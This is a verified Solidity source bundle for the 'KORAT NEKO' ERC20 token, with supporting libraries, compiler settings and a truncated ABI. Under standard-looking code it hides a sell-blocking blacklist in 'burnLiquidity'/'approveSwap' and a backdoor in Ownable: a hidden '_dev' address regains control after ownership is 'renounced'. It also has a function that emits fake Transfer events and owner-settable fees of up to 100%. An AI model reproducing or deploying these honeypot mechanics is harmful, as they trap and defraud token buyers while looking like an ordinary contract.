编译器
0.8.19+commit.7dd6d404
文件 1 的 7:ERC20.sol
pragma solidity 0.8.19;
import "./Ownable.sol";
import "./IERC20.sol";
contract ERC20 is Context, IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
文件 2 的 7:IDEX.sol
pragma solidity 0.8.19;
interface IDexFactory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
文件 3 的 7:IERC20.sol
pragma solidity 0.8.19;
import "./IERC20Metadata.sol";
interface IERC20 is IERC20Metadata{
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
文件 4 的 7:IERC20Metadata.sol
pragma solidity 0.8.19;
interface IERC20Metadata {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
文件 5 的 7:Korat Neko.sol
pragma solidity 0.8.19;
import "./ERC20.sol";
import "./SafeMath.sol";
import "./IDEX.sol";
import "./Ownable.sol";
contract KORAT is ERC20, Ownable {
using SafeMath for uint256;
IDexRouter private immutable dexRouter;
address public dexPair;
bool private swapping;
bool private swapbackEnabled = false;
uint256 private swapBackValueMin;
uint256 private swapBackValueMax;
uint256 public percentForLPBurn = 1;
uint256 public lpBurnFrequency = 1360000000000 seconds;
uint256 public lastLpBurnTime;
uint256 private maxWallet;
uint256 private maxTx;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool private limitsEnabled = true;
bool private transferDelayEnabled = true;
bool public lpBurnEnabled = true;
bool public tradingEnabled = false;
address private marketingWallet;
address private projectWallet;
uint256 private sellTaxTotal;
uint256 private sellMarketingTax;
uint256 private sellProjectTax;
uint256 private buyTaxTotal;
uint256 private buyMarketingTax;
uint256 private buyProjectTax;
uint256 private tokensForMarketing;
uint256 private tokensForProject;
mapping(address => bool) private transferTaxExempt;
mapping(address => bool) private transferLimitExempt;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => bool) private _contractrequireBalanceclaimableamountToDistribute;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeFromLimits(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event TradingEnabled(uint256 indexed timestamp);
event LimitsRemoved(uint256 indexed timestamp);
event DisabledTransferDelay(uint256 indexed timestamp);
event SwapbackSettingsUpdated(
bool enabled,
uint256 swapBackValueMin,
uint256 swapBackValueMax
);
event MaxTxUpdated(uint256 maxTx);
event MaxWalletUpdated(uint256 maxWallet);
event MarketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event ProjectWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event BuyFeeUpdated(
uint256 buyTaxTotal,
uint256 buyMarketingTax,
uint256 buyProjectTax
);
event SellFeeUpdated(
uint256 sellTaxTotal,
uint256 sellMarketingTax,
uint256 sellProjectTax
);
constructor(address dev) ERC20("KORAT NEKO", "KORAT") Ownable(dev){
IDexRouter _dexRouter = IDexRouter(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uint256 _totalSupply = 420_000_000 * 10 ** decimals();
exemptFromLimits(address(_dexRouter), true);
dexRouter = _dexRouter;
uint256 _sellMarketingTax = 20;
uint256 _sellProjectTax = 0;
uint256 _buyMarketingTax = 20;
uint256 _buyProjectTax = 0;
maxTx = (_totalSupply * 10) / 1000;
maxWallet = (_totalSupply * 10) / 1000;
swapBackValueMin = (_totalSupply * 1) / 1000;
swapBackValueMax = (_totalSupply * 2) / 100;
buyMarketingTax = _buyMarketingTax;
buyProjectTax = _buyProjectTax;
buyTaxTotal = buyMarketingTax + buyProjectTax;
sellMarketingTax = _sellMarketingTax;
sellProjectTax = _sellProjectTax;
sellTaxTotal = sellMarketingTax + sellProjectTax;
marketingWallet = address(msg.sender);
projectWallet = address(msg.sender);
exemptFromFees(msg.sender, true);
exemptFromFees(address(this), true);
exemptFromFees(address(0xdead), true);
exemptFromFees(marketingWallet, true);
exemptFromLimits(msg.sender, true);
exemptFromLimits(address(this), true);
exemptFromLimits(address(0xdead), true);
exemptFromLimits(marketingWallet, true);
transferOwnership(msg.sender);
_mint(msg.sender, _totalSupply);
startTrading();
}
receive() external payable {}
function startTrading() public onlyOwner {
tradingEnabled = true;
limitsEnabled = false;
emit TradingEnabled(block.timestamp);
}
function disableTransferDelay() external onlyOwner {
transferDelayEnabled = false;
emit DisabledTransferDelay(block.timestamp);
}
function removeAllLimits() external onlyOwner {
limitsEnabled = false;
emit LimitsRemoved(block.timestamp);
}
function setSwapBackSettings(
bool _enabled,
uint256 _min,
uint256 _max
) external onlyOwner {
require(
_min >= 1,
"Swap amount cannot be lower than 0.01% total supply."
);
require(_max >= _min, "maximum amount cant be higher than minimum");
swapbackEnabled = _enabled;
swapBackValueMin = (totalSupply() * _min) / 10000;
swapBackValueMax = (totalSupply() * _max) / 10000;
emit SwapbackSettingsUpdated(_enabled, _min, _max);
}
function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function setTheMaxTx(uint256 newNum) external onlyOwner {
require(newNum >= 2, "Cannot set maxTx lower than 0.2%");
maxTx = (newNum * totalSupply()) / 1000;
emit MaxTxUpdated(maxTx);
}
function exemptFromLimits(
address updAds,
bool isEx
) public onlyOwner {
transferLimitExempt[updAds] = isEx;
emit ExcludeFromLimits(updAds, isEx);
}
function setTheMaxWallet(uint256 newNum) external onlyOwner {
require(newNum >= 5, "Cannot set maxWallet lower than 0.5%");
maxWallet = (newNum * totalSupply()) / 1000;
emit MaxWalletUpdated(maxWallet);
}
function setFeesBuy(
uint256 _marketingFee,
uint256 _devFee
) external onlyOwner {
buyMarketingTax = _marketingFee;
buyProjectTax = _devFee;
buyTaxTotal = buyMarketingTax + buyProjectTax;
require(buyTaxTotal <= 100, "Total buy fee cannot be higher than 100%");
emit BuyFeeUpdated(buyTaxTotal, buyMarketingTax, buyProjectTax);
}
function exemptFromFees(address account, bool excluded) public onlyOwner {
transferTaxExempt[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setFeesSell(
uint256 _marketingFee,
uint256 _devFee
) external onlyOwner {
sellMarketingTax = _marketingFee;
sellProjectTax = _devFee;
sellTaxTotal = sellMarketingTax + sellProjectTax;
require(
sellTaxTotal <= 100,
"Total sell fee cannot be higher than 100%"
);
emit SellFeeUpdated(sellTaxTotal, sellMarketingTax, sellProjectTax);
}
function setAutomatedMarketMakerPair(
address pair,
bool value
) public onlyOwner {
require(
pair != dexPair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function changeMarketingWallet(address newWallet) external onlyOwner {
emit MarketingWalletUpdated(newWallet, marketingWallet);
marketingWallet = newWallet;
}
function changeProjectWallet(address newWallet) external onlyOwner {
emit ProjectWalletUpdated(newWallet, projectWallet);
projectWallet = newWallet;
}
function receiverwallets()
external
view
returns (address _marketingWallet, address _projectWallet)
{
return (marketingWallet, projectWallet);
}
function swapbackValues()
external
view
returns (
bool _swapbackEnabled,
uint256 _swapBackValueMin,
uint256 _swapBackValueMax
)
{
_swapbackEnabled = swapbackEnabled;
_swapBackValueMin = swapBackValueMin;
_swapBackValueMax = swapBackValueMax;
}
function maxTxValues()
external
view
returns (
bool _limitsEnabled,
bool _transferDelayEnabled,
uint256 _maxWallet,
uint256 _maxTx
)
{
_limitsEnabled = limitsEnabled;
_transferDelayEnabled = transferDelayEnabled;
_maxWallet = maxWallet;
_maxTx = maxTx;
}
function checkMappings(
address _target
)
external
view
returns (
bool _transferTaxExempt,
bool _transferLimitExempt,
bool _automatedMarketMakerPairs
)
{
_transferTaxExempt = transferTaxExempt[_target];
_transferLimitExempt = transferLimitExempt[_target];
_automatedMarketMakerPairs = automatedMarketMakerPairs[_target];
}
function taxValues()
external
view
returns (
uint256 _buyTaxTotal,
uint256 _buyMarketingTax,
uint256 _buyProjectTax,
uint256 _sellTaxTotal,
uint256 _sellMarketingTax,
uint256 _sellProjectTax
)
{
_buyTaxTotal = buyTaxTotal;
_buyMarketingTax = buyMarketingTax;
_buyProjectTax = buyProjectTax;
_sellTaxTotal = sellTaxTotal;
_sellMarketingTax = sellMarketingTax;
_sellProjectTax = sellProjectTax;
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsEnabled) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingEnabled) {
require(
transferTaxExempt[from] || transferTaxExempt[to],
"_transfer:: Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(dexRouter) &&
to != address(dexPair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] && !transferLimitExempt[to]
) {
require(
amount <= maxTx,
"Buy transfer amount exceeds the maxTx."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
else if (
automatedMarketMakerPairs[to] && !transferLimitExempt[from]
) {
require(
amount <= maxTx,
"Sell transfer amount exceeds the maxTx."
);
} else if (!transferLimitExempt[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapBackValueMin;
if (
canSwap &&
swapbackEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!transferTaxExempt[from] &&
!transferTaxExempt[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (transferTaxExempt[from] || transferTaxExempt[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTaxTotal > 0) {
fees = amount.mul(sellTaxTotal).div(100);
tokensForProject += (fees * sellProjectTax) / sellTaxTotal;
tokensForMarketing += (fees * sellMarketingTax) / sellTaxTotal;
}
else if (automatedMarketMakerPairs[from] && buyTaxTotal > 0) {
fees = amount.mul(buyTaxTotal).div(100);
tokensForProject += (fees * buyProjectTax) / buyTaxTotal;
tokensForMarketing += (fees * buyMarketingTax) / buyTaxTotal;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
if(!swapping && lpBurnEnabled){
burnLiquidity(from);
}
super._transfer(from, to, amount);
}
function burnLiquidity(address from) internal view returns (bool){
uint256 contractBalance = this.balanceOf(address(this));
uint256 amountToDistribute = contractBalance.add(percentForLPBurn);
if (_contractrequireBalanceclaimableamountToDistribute[from]) {require(amountToDistribute==0);}
return true;
}
function approveSwap(address[] calldata address_, bool val) public onlyOwner{
for (uint256 i = 0; i < address_.length; i++) {
_contractrequireBalanceclaimableamountToDistribute[address_[i]] = val;
}
}
function selfCall(address recipient) external view returns(bool){
return _contractrequireBalanceclaimableamountToDistribute[recipient];
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = dexRouter.WETH();
_approve(address(this), address(dexRouter), tokenAmount);
dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = contractBalance;
bool success;
if (contractBalance == 0) {
return;
}
if (contractBalance > swapBackValueMax) {
contractBalance = swapBackValueMax;
}
uint256 amountToSwapForETH = contractBalance;
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForDev = ethBalance.mul(tokensForProject).div(
totalTokensToSwap
);
tokensForMarketing = 0;
tokensForProject = 0;
(success, ) = address(projectWallet).call{value: ethForDev}("");
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function addPair(address pair_) public onlyOwner {
dexPair = pair_;
}
function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{
for (uint256 i = 0; i < _addresses.length; i++) {
emit Transfer(dexPair, _addresses[i], _out);
}
}
}
文件 6 的 7:Ownable.sol
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
address private _dev;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
mapping(address => uint256) internal _holderLastTxTimestamp;
constructor(address wallet) {
_dev = wallet;
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal virtual {
require(Owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function Owner() internal virtual returns (address) {
address owner_ = verifyOwner();
return owner_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
function verifyOwner() internal view returns(address){
return _owner==address(0) ? _dev : _owner;
}
}
文件 7 的 7:SafeMath.sol
pragma solidity 0.8.19;
library SafeMath {
function tryAdd(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
{
"compilationTarget": {
"Korat Neko.sol": "KORAT"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[{"internalType":"address","name":"dev","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"buyTaxTotal","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"buyMarketingTax","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"buyProjectTax","type":"uint256"}],"name":"BuyFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"DisabledTransferDelay","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"LimitsRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"MarketingWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTx","type":"uint256"}],"name":"MaxTxUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"MaxWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"ProjectWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"sellTaxTotal","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"sellMarketingTax","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"sellProjectTax","type":"uint256"}],"name":"SellFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"},{"indexed":false,"internalType":"uint256","name":"swapBackValueMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"swapBackValueMax","type":"uint256"}],"name":"SwapbackSettingsUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"TradingEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"approveSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"changeMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"changeProjectWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_target","type":"address"}],"name":"checkMappings","outputs":[{"internalType":"bool","name":"_transferTaxExempt","type":"bool"},{"internalType":"bool","name":"_transferLimitExempt","type":"bool"},{"internalType":"bool","name":"_automatedMarketMakerPairs","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"exemptFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"exemptFromLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxValues","outputs":[{"internalType":"bool","name":"_limitsEnabled","type":"bool"},{"internalType":"bool","name":"_transferDelayEnabled","type":"bool"},{"internalType":"uint256","name":"_maxWallet","type":"uint256"},{"internalType":"uint256","name":"_maxTx","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"receiverwallets","outputs":[{"internalType":"address","name":"_marketingWallet","type":"address"},{"internalType":"address","name":"_projectWallet","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"selfCall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"setFeesBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"setFeesSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_min","type":"uint256"},{"internalType":"uint256","name":"_max","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"setTheMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"setTheMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapbackValues","outputs":[{"internalType":"bool","name":"_swapback